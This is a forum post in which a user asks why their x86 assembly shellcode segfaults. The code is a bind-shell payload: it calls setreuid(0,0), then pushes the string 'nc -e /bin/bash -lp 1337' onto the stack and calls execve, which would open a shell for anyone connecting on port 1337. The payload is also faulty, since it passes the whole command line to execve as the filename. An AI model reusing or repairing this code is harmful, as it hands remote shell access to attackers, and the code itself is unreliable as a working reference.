I am trying to run this code:
(NOTE: This code will start a bind shell on port 1337 if you get this working, so don't leave it running!)
When only 2 push commands are used then it runs fine, but when I use 6 I get a segmentation fault, I have very little knowledge of asm so any help would be really appreciatedCode:section .text global _start _start: xor eax, eax mov al, 0x46 xor ebx, ebx xor ecx, ecx int 0x80 xor eax, eax push eax push 0x37333331 push 0x20706c2d push 0x20687361 push 0x622f6e69 push 0x622f2065 push 0x2d20636e mov ebx, esp push eax push ebx mov ecx, esp xor edx, edx mov al, 0xb int 0x80
Thank You,
-Sam



Reply With Quote

Bookmarks